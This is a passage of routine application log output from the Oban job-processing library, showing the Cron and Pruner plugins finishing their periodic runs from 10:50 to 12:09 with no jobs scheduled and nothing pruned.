10:50:00.170 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:16.022 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:46.024 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.171 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:16.025 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:46.026 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.172 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:16.027 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:46.028 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.174 [info] {"source":"oban","duration":1178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:16.029 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:46.030 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.175 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:16.031 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:46.032 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.176 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:16.033 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:46.034 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.177 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:16.036 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:46.037 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.178 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:16.038 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:46.039 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.180 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:16.040 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:46.041 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.180 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:16.042 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:46.043 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.181 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:16.044 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:46.045 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.182 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:16.046 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:46.047 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.184 [info] {"source":"oban","duration":459,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:16.048 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:46.050 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.184 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:16.051 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:46.052 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.185 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:16.054 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:46.056 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.186 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:16.057 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:46.058 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.187 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:16.059 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:46.060 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.188 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:16.061 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:46.062 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.189 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:16.063 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:46.064 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.190 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:16.065 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:46.066 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.191 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:16.067 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:46.069 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.192 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:16.071 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:46.072 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.193 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:16.073 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:46.074 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.194 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:16.075 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:46.076 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.195 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:16.076 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:46.078 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.196 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:16.079 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:46.080 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.197 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:16.081 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:46.083 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.198 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:16.084 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:46.085 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.199 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:16.086 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:46.088 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.200 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:16.089 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:46.090 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.201 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:16.091 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:46.092 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.202 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:16.093 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:46.094 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.203 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:16.095 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:46.096 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.204 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:16.098 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:46.099 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.205 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:16.100 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:46.101 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.206 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:16.102 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:46.103 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.207 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:16.104 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:46.105 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.208 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:16.106 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:46.107 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.209 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:16.108 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:46.109 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.210 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:16.110 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:46.111 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.211 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:16.112 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:46.113 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.212 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:16.114 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:46.115 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.213 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:16.116 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:46.117 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.214 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:16.118 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:46.119 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.215 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:16.120 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:46.121 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.216 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:16.122 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:46.124 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.217 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:16.125 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:46.126 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.218 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:16.127 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:46.128 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.219 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:16.129 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:46.130 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.220 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:16.132 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:46.133 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.221 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:16.134 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:46.135 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.222 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:16.136 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:46.137 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.223 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:16.138 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:46.139 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.224 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:16.140 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:46.141 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.225 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:16.142 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:46.143 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.226 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:16.144 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:46.145 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.227 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:16.146 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:46.146 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.228 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:16.148 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:46.149 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.229 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:16.151 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:46.152 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.230 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:16.153 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:46.154 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.231 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:16.155 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:46.156 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.232 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:16.157 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:46.158 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.233 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:16.159 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:46.160 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.234 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:16.161 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:46.162 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.235 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:16.163 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:46.164 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.236 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:16.166 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:46.167 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.237 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:16.168 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:46.169 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.238 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:16.170 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:46.171 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.239 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:16.172 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:46.173 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.240 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:16.174 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:46.175 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.241 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:16.176 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:46.177 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.242 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:16.178 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:46.179 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.243 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:16.180 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:46.181 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.244 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:16.181 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:46.183 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.245 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:16.184 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:46.185 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.246 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:16.186 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:46.187 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.247 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:16.188 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:46.189 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.248 [info] {"source":"oban","duration":306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:16.190 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:46.191 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.249 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:16.192 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:46.193 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.250 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:16.194 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:46.195 [info] 